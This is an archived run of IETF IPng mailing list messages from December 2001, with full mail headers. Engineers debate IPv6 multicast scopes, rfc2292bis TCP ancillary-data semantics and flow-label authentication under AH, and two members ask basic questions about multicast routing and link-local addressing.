shuttle.wide.toshiba.co.jp (shuttle.wide.toshiba.co.jp [202.249.10.124]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA07014 for ; Tue, 18 Dec 2001 03:27:00 -0700 (MST) Received: from localhost ([3ffe:501:4819:2000:fd68:c33b:d785:5a70]) by shuttle.wide.toshiba.co.jp (8.11.6/8.9.1) with ESMTP id fBIAQo338107; Tue, 18 Dec 2001 19:26:50 +0900 (JST) Date: Tue, 18 Dec 2001 19:26:48 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: Pekka Savola Cc: ipng@sunroof.eng.sun.com Subject: Re: (ngtrans) RE: Directed broadcast in IPv6 In-Reply-To: References: User-Agent: Wanderlust/2.7.5 (Too Funky) Emacs/21.1 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya") Content-Type: text/plain; charset=US-ASCII X-Dispatcher: imput version 980905(IM100) Lines: 31 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >>>>> On Tue, 11 Dec 2001 17:35:58 +0200 (EET), >>>>> Pekka Savola said: >> > This is especially nasty if hosts would listen to ff0e::1 (global >> > all-hosts) address (even though it would not be globally >> > routable); there >> > would not be such restrictions on same zone. >> >> According to 2373 your choice of multicast address is reserved to begin >> with, but why wouldn't that be routable? You appear to have a model for >> multicast over NBMA that assumes the lower layer is not global. I >> understand there may be a problem with scaling the number of tunnels, >> but this is not a protocol problem. > New addrarch draft says ff0e::/16 is global-scope. Let me make a minor correction (which is not essential for this discussion). It is true that ff0e::/16 is global, but the addrarch draft does not define a "global all-hosts" group. The draft only defines such type of groups for interface-local and link-local scopes: All Nodes Addresses: FF01:0:0:0:0:0:0:1 FF02:0:0:0:0:0:0:1 The above multicast addresses identify the group of all IPv6 nodes, within scope 1 (interface-local) or 2 (link-local). JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 18 07:55:57 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBIFtvFp012021 for ; Tue, 18 Dec 2001 07:55:57 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2/Submit) id fBIFtuWJ012020 for ipng-dist; Tue, 18 Dec 2001 07:55:56 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBIFtrFp012013 for ; Tue, 18 Dec 2001 07:55:53 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA06212 for ; Tue, 18 Dec 2001 07:55:53 -0800 (PST) Received: from ztxmail05.ztx.compaq.com (ztxmail05.ztx.compaq.com [161.114.1.209]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id IAA02312 for ; Tue, 18 Dec 2001 08:56:35 -0700 (MST) Received: by ztxmail05.ztx.compaq.com (Postfix, from userid 12345) id 75E4621EE; Tue, 18 Dec 2001 09:54:31 -0600 (CST) Received: from mailrelay01.cac.cpqcorp.net (mailrelay01.cac.cpqcorp.net [16.47.132.152]) by ztxmail05.ztx.compaq.com (Postfix) with ESMTP id 3A771232A; Tue, 18 Dec 2001 09:54:31 -0600 (CST) Received: by mailrelay01.cac.cpqcorp.net (Postfix, from userid 12345) id 7BA5F17E1; Tue, 18 Dec 2001 07:54:30 -0800 (PST) Received: from oflume.zk3.dec.com (broflume.zk3.dec.com [16.141.0.42]) by mailrelay01.cac.cpqcorp.net (Postfix) with ESMTP id 19FF314BF; Tue, 18 Dec 2001 07:54:30 -0800 (PST) Received: from whitestar.zk3.dec.com by oflume.zk3.dec.com (8.8.8/1.1.22.3/03Mar00-0551AM) id KAA0000007960; Tue, 18 Dec 2001 10:53:50 -0500 (EST) Received: from zk3.dec.com by whitestar.zk3.dec.com (8.9.3/1.1.29.3/09Nov01-0546PM) id KAA0000122539; Tue, 18 Dec 2001 10:53:17 -0500 (EST) Message-ID: <3C1F666D.44795EAE@zk3.dec.com> Date: Tue, 18 Dec 2001 10:53:17 -0500 From: Vladislav Yasevich X-Mailer: Mozilla 4.76 [en] (X11; U; OSF1 V5.1 alpha) X-Accept-Language: en MIME-Version: 1.0 To: JINMEI Tatuya / =?iso-8859-1?Q?=BF=C0=CC=C0=C3=A3=BA=C8?= Cc: ipng@sunroof.eng.sun.com Subject: Re: TCP implication of 2292bis References: <200111301856.KAA29712@feller.mentat.com> <3C1AFE62.E156CC0A@zk3.dec.com> Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk JINMEI Thanks, this is a lot clearer. I'll try to address the points that you've made since I am still not convinced that we gain anything by changing the behavior. JINMEI Tatuya / ¿ÀÌÀãºÈ wrote: > Perhaps I was not very clear at the presentation. The reason for the > change (in 03) is NOT security. I intended to say: > > Despite the change with using recvmsg(), the previous (i.e. before > rfc2292bis-03) spec cannot follow all the changes on received > segments. Thus, it cannot be used for security (e.g. access > control) purposes (we need to follow the changes perfectly if we use > the mechanism for security.) Of course, the 03 behavior (like the > one in RFC 2292) cannot be used for security purposes either. > > With this reality, the received optional information can only be > used as "informational" in the sense of the word. This also means > that it is meaningless to try to receive the optional information > for as many received segments as possible. > > So, using recvmsg() with ancillary data has less advantage over the > RFC 2292 behavior, at least IMHO. I don't understand why you are assigning advantage to the 2292 behavior. So far, both methods provide identical functionality as far as the headers received by the application. IMO, both versions add additional complexity to the application, but only at the request of the application. > > Meanwhile, using recvmsg() causes additional issues, such as impact > on the socket semantics or the "send-only apps" problem, which did > not exist in the RFC 2292 behavior. Are you conserned about not being able to access the extension headers sent with ACKs, RSTs, etc...? Is this really something that would be usefull to an application? > > As for the ability to receive optional information at a send-only > application, it might be true that there is less meaningful usage of > the ability. But, anyway, RFC 2292 (and 2292bis-03) provides the > ability, while rfc2292bis-02 (and earlier) does not. I think providing a meaningless ability is pointless and makes for feature bloat and complexity. It is not a good argument to do something. > > In summary, the rfc2292bis-02 behavior has disadvantage over the > RFC2292 behavior without an (less) advantage. > > That's why I, for one, prefer the 03 behavior. But I admit that the > advantage (03 over 02) is not so big and one may say that the > advantage is not worth the change. (perhaps I should have just put > the issue in the "open issues" section. that was my bad.) I prefer the 02 behavior because it is cleaner conseptually. Yes it requires code changes for the apps wanting to use it, but most applications do not need and will not use this feature. > > And, of course, either approach has impact on existing > implementations, and the impact depends on the spec that the > implementations are using. As I said in the presentation, the 02 > approach affects RFC2292-based implementations much, and the 03 > approach affects 02 (or earlier) based implementations much. So I'd > like to hear from other implementors. > > Again, though I prefer the 03 behavior, I know (and understand) some > other people dislike it. I'll hear from others, and will obey the > consensus. If we can not reach consensus (don't gasp, it happened before), may I suggest that we document both behaviors. We can keep a strict 2292bis-02 behavior (i.e don't return control data for SYNs, ACKs, etc), and the 2292bis-03 behavior with the limitations in section 4.1 (i.e applies only to TCP and can only be used with getsockopt). Both calls will return identical information and MUST be used exlucsively of each other (i.e use one or the other, not both). -vlad ++++++++++++++++++++++++++++++++++++++++++++++++++++ Vladislav Yasevich Tel: (603) 884-1079 Compaq Computer Corp. Fax: (435) 514-6884 110 Spit Brook Rd ZK03-3/T07 Nashua, NH 03062 -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 18 08:15:22 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBIGFMFp012089 for ; Tue, 18 Dec 2001 08:15:22 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2/Submit) id fBIGFMnI012088 for ipng-dist; Tue, 18 Dec 2001 08:15:22 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBIGFIFp012081 for ; Tue, 18 Dec 2001 08:15:18 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA01467 for ; Tue, 18 Dec 2001 08:15:19 -0800 (PST) Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA04667 for ; Tue, 18 Dec 2001 09:15:00 -0700 (MST) Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id fBIG7ep14671; Tue, 18 Dec 2001 08:07:41 -0800 (PST) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id AAN68913; Tue, 18 Dec 2001 08:07:02 -0800 (PST) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id IAA05900; Tue, 18 Dec 2001 08:07:36 -0800 (PST) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15391.27079.967204.525787@thomasm-u1.cisco.com> Date: Tue, 18 Dec 2001 08:07:35 -0800 (PST) To: Brian E Carpenter Cc: Craig Dunk , "'James Kempf'" , Michael Thomas , Margaret Wasserman , ipng@sunroof.eng.sun.com Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt In-Reply-To: <3C1F0053.520291B7@hursley.ibm.com> References: <05BEA41254F24A4CBA66E811CDD3AD9C07D4FD@xch08ykf> <3C1F0053.520291B7@hursley.ibm.com> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Brian E Carpenter writes: > Yes, the flow label is explicitly excluded from AH. So it could be modified > en route and you can't authenticate its value. Assuming we decide to use > it as an end2end value, that could be viewed as a bug. That would be a pretty funny view. The only way to make it immutable would be to share a security association with each participating router along the way. I don't think we want to even vaguely contemplate going there. Mike -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 18 08:42:51 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBIGgpFp012126 for ; Tue, 18 Dec 2001 08:42:51 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2/Submit) id fBIGgplG012125 for ipng-dist; Tue, 18 Dec 2001 08:42:51 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBIGgmFp012118 for ; Tue, 18 Dec 2001 08:42:48 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA04741 for ; Tue, 18 Dec 2001 08:42:48 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id JAA00872 for ; Tue, 18 Dec 2001 09:43:28 -0700 (MST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id RAA09726; Tue, 18 Dec 2001 17:42:39 +0100 Received: from dhcp222-13.zurich.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA62088 from ; Tue, 18 Dec 2001 17:42:35 +0100 Message-Id: <3C1F71FB.5891FFA@hursley.ibm.com> Date: Tue, 18 Dec 2001 17:42:35 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: Michael Thomas Cc: Craig Dunk , "'James Kempf'" , Margaret Wasserman , ipng@sunroof.eng.sun.com Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt References: <05BEA41254F24A4CBA66E811CDD3AD9C07D4FD@xch08ykf> <3C1F0053.520291B7@hursley.ibm.com> <15391.27079.967204.525787@thomasm-u1.cisco.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk I agree; I meant that even at the receiving end you can't authenticate it, let alone the intermediate hops. Brian Michael Thomas wrote: > > Brian E Carpenter writes: > > Yes, the flow label is explicitly excluded from AH. So it could be modified > > en route and you can't authenticate its value. Assuming we decide to use > > it as an end2end value, that could be viewed as a bug. > > That would be a pretty funny view. The only > way to make it immutable would be to share a > security association with each participating > router along the way. I don't think we want > to even vaguely contemplate going there. > > Mike -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Brian E Carpenter Distinguished Engineer, Internet Standards & Technology, IBM On assignment at the IBM Zurich Laboratory, Switzerland Board Chairman, Internet Society http://www.isoc.org -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 18 09:19:37 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBIHJaFp012182 for ; Tue, 18 Dec 2001 09:19:36 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2/Submit) id fBIHJa8F012181 for ipng-dist; Tue, 18 Dec 2001 09:19:36 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBIHJXFp012174 for ; Tue, 18 Dec 2001 09:19:33 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA15992 for ; Tue, 18 Dec 2001 09:19:34 -0800 (PST) From: matthew.ford@bt.com Received: from cbibipnt08.hc.bt.com (saturn.bt.com [193.113.57.20]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA08439 for ; Tue, 18 Dec 2001 10:19:33 -0700 (MST) Received: by cbibipnt08.hc.bt.com with Internet Mail Service (5.5.2654.89) id ; Tue, 18 Dec 2001 17:19:19 -0000 Message-ID: To: brian@hursley.ibm.com, mat@cisco.com Cc: CDunk@rim.net, kempf@docomolabs-usa.com, mrw@windriver.com, ipng@sunroof.eng.sun.com Subject: RE: draft-rajahalme-ipv6-flow-label-00.txt Date: Tue, 18 Dec 2001 17:17:47 -0000 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2654.89) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Well, you can't authenticate it because RFC2402 defines the flow label as mutable end-to-end. I think this draft probably needs to address this discrepancy if it is going to define the flow label as immutable end-to-end. Mat. > -----Original Message----- > From: Brian E Carpenter [mailto:brian@hursley.ibm.com] > Sent: 18 December 2001 16:43 > To: Michael Thomas > Cc: Craig Dunk; 'James Kempf'; Margaret Wasserman; > ipng@sunroof.eng.sun.com > Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt > > > I agree; I meant that even at the receiving end you can't > authenticate it, > let alone the intermediate hops. > > Brian > > Michael Thomas wrote: > > > > Brian E Carpenter writes: > > > Yes, the flow label is explicitly excluded from AH. So > it could be modified > > > en route and you can't authenticate its value. Assuming > we decide to use > > > it as an end2end value, that could be viewed as a bug. > > > > That would be a pretty funny view. The only > > way to make it immutable would be to share a > > security association with each participating > > router along the way. I don't think we want > > to even vaguely contemplate going there. > > > > Mike > > -- > - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - > Brian E Carpenter > Distinguished Engineer, Internet Standards & Technology, IBM > On assignment at the IBM Zurich Laboratory, Switzerland > Board Chairman, Internet Society http://www.isoc.org > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 18 10:18:51 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBIIIoFp012281 for ; Tue, 18 Dec 2001 10:18:50 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2/Submit) id fBIIIo1S012280 for ipng-dist; Tue, 18 Dec 2001 10:18:50 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBIIIkFp012273 for ; Tue, 18 Dec 2001 10:18:46 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA05708 for ; Tue, 18 Dec 2001 10:18:48 -0800 (PST) Received: from roll.mentat.com (mentat.com [192.88.122.129]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA22172 for ; Tue, 18 Dec 2001 10:18:48 -0800 (PST) Received: from leo.mentat.com (leo [192.88.122.132]) by roll.mentat.com (8.9.1b+Sun/8.9.1) with ESMTP id KAA15909; Tue, 18 Dec 2001 10:15:35 -0800 (PST) Received: from feller.mentat.com (feller [192.88.122.144]) by leo.mentat.com (8.9.1b+Sun/8.9.1) with ESMTP id KAA18409; Tue, 18 Dec 2001 10:15:33 -0800 (PST) Received: (from tim@localhost) by feller.mentat.com (8.9.3+Sun/8.9.3) id KAA08787; Tue, 18 Dec 2001 10:20:40 -0800 (PST) Date: Tue, 18 Dec 2001 10:20:40 -0800 (PST) From: Tim Hartrick Message-Id: <200112181820.KAA08787@feller.mentat.com> To: jinmei@isl.rdc.toshiba.co.jp, vlad@zk3.dec.com Subject: Re: TCP implication of 2292bis Cc: ipng@sunroof.eng.sun.com X-Sun-Charset: US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Vlad, > > > > > And, of course, either approach has impact on existing > > implementations, and the impact depends on the spec that the > > implementations are using. As I said in the presentation, the 02 > > approach affects RFC2292-based implementations much, and the 03 > > approach affects 02 (or earlier) based implementations much. So I'd > > like to hear from other implementors. > > > > Again, though I prefer the 03 behavior, I know (and understand) some > > other people dislike it. I'll hear from others, and will obey the > > consensus. > > If we can not reach consensus (don't gasp, it happened before), may I suggest > that we document both behaviors. We can keep a strict 2292bis-02 behavior > (i.e > don't return control data for SYNs, ACKs, etc), and the 2292bis-03 behavior > with > the limitations in section 4.1 (i.e applies only to TCP and can only be used > with > getsockopt). > > Both calls will return identical information and MUST be used exlucsively of > each other (i.e use one or the other, not both). > With regard to how the -02 behavior works, it isn't at all clear to me that the -02 behavior can't be made to return extension headers that arrive on non-data bearing segments. That is an implementation detail. It may be that returning such extensions is more difficult for some implementations than others. It hasn't proven to be a showstopper for us. The negotiation of of certain extensions is another matter. I appreciate the desire to satisfy both sides but the above suggestion merely guarantees that the implementation is more than twice as complicated as it would be if we only selected one mechanism. Given the dubious utility of this facility I far prefer no mechanism to two mechanisms. The fact that the mechanisms are removed from this document does not preclude implementations from making them available. tim -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 18 12:15:59 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBIKFwFp012397 for ; Tue, 18 Dec 2001 12:15:58 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2/Submit) id fBIKFwNc012396 for ipng-dist; Tue, 18 Dec 2001 12:15:58 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBIKFrFp012389 for ; Tue, 18 Dec 2001 12:15:54 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id MAA26272 for ; Tue, 18 Dec 2001 12:15:30 -0800 (PST) Received: from cgprelay.ua.pt (smtprelay.ua.pt [193.136.80.103]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id NAA25345 for ; Tue, 18 Dec 2001 13:16:13 -0700 (MST) Received: from [193.136.92.65] (HELO trantor.it.pt) by cgprelay.ua.pt (CommuniGate Pro SMTP 3.5b9) with ESMTP id 790442 for ipng@sunroof.eng.sun.com; Tue, 18 Dec 2001 20:15:23 +0000 Received: from pluton (pluton.av.it.pt [193.136.92.217]) by trantor.it.pt (sendmail) with SMTP id 054B32C1A for ; Tue, 18 Dec 2001 20:15:03 +0000 (PWT) Message-ID: <02b301c18800$74f38b20$d95c88c1@pluton> From: =?iso-8859-1?Q?Ant=F3nio_Amaral?= To: Subject: Multicast IPv6 routing Date: Tue, 18 Dec 2001 20:13:27 -0000 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_02B0_01C18800.74378E20" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk This is a multi-part message in MIME format. ------=_NextPart_000_02B0_01C18800.74378E20 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hello, I am studying the multicast IPv6 and I have two questions: 1) The routing protocol used for multicast IPv6 is the PIM6 = (Protocol Independent Multicast Routing in the Internet Protocol Version = 6). Is there any recent document where this protocol is described, or = exists only the "draft-ietf-pim-ipv6-03.txt" of 2000? 2) Exists any other routing protocol for multicast IPv6? Best regards -------------------------------------------------------------------------= Ant=F3nio Manuel Nunes C. Amaral =20 Instituto de Telecomunica=E7=F5es - P=F3lo de Aveiro =20 Campus Universit=E1rio 3810-193 AVEIRO - PORTUGAL Telef. 234 - 377900 Fax. 234 - 377901 e-mail: aamaral@av.it.pt =20 -------------------------------------------------------------------------= - ------=_NextPart_000_02B0_01C18800.74378E20 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
 Hello,

I=20 am studying the multicast IPv6 and I have two = questions:

1)     =20 The=20 routing protocol used for multicast IPv6 is the PIM6 (Protocol = Independent=20 Multicast Routing in the Internet Protocol Version 6). Is there any = recent=20 document where this protocol is described, or exists only the=20 “draft-ietf-pim-ipv6-03.txt” of 2000?

2)     =20 Exists any other routing = protocol=20 for multicast IPv6?

Best=20 regards

----------------------------------------------------------------= ---------
  =20 Ant=F3nio Manuel Nunes C. Amaral      =
  =20 Instituto de Telecomunica=E7=F5es - P=F3lo de = Aveiro     =20
   Campus Universit=E1rio
   3810-193 AVEIRO = -=20 PORTUGAL
   Telef. 234 - 377900
   Fax. 234 -=20 377901
   e-mail: aamaral@av.it.pt   &n= bsp;           &nb= sp;           &nbs= p;     =20
---------------------------------------------------------------------= -----
------=_NextPart_000_02B0_01C18800.74378E20-- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 18 12:52:55 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBIKqtFp012429 for ; Tue, 18 Dec 2001 12:52:55 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2/Submit) id fBIKqtNl012428 for ipng-dist; Tue, 18 Dec 2001 12:52:55 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBIKqqFp012421 for ; Tue, 18 Dec 2001 12:52:52 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id MAA07179 for ; Tue, 18 Dec 2001 12:52:53 -0800 (PST) Received: from web14008.mail.yahoo.com (web14008.mail.yahoo.com [216.136.175.124]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with SMTP id NAA12579 for ; Tue, 18 Dec 2001 13:52:52 -0700 (MST) Message-ID: <20011218205252.53710.qmail@web14008.mail.yahoo.com> Received: from [192.25.240.22] by web14008.mail.yahoo.com via HTTP; Tue, 18 Dec 2001 12:52:52 PST Date: Tue, 18 Dec 2001 12:52:52 -0800 (PST) From: "Jérôme" Subject: Mapping between Link Local address and Global address To: ipng@sunroof.eng.sun.com MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hello, Could someone help me with this: If an IPv6 interface has both a Link-local and global addresses, is there any mapping between the global and Link local address ? In which section/RFC is it defined ? Thanks, Jérôme __________________________________________________ Do You Yahoo!? Check out Yahoo! Shopping and Yahoo! Auctions for all of your unique holiday gifts! Buy at http://shopping.yahoo.com or bid at http://auctions.yahoo.com -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 18 14:03:44 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBIM3iFp012507 for ; Tue, 18 Dec 2001 14:03:44 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2/Submit) id fBIM3iET012506 for ipng-dist; Tue, 18 Dec 2001 14:03:44 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com 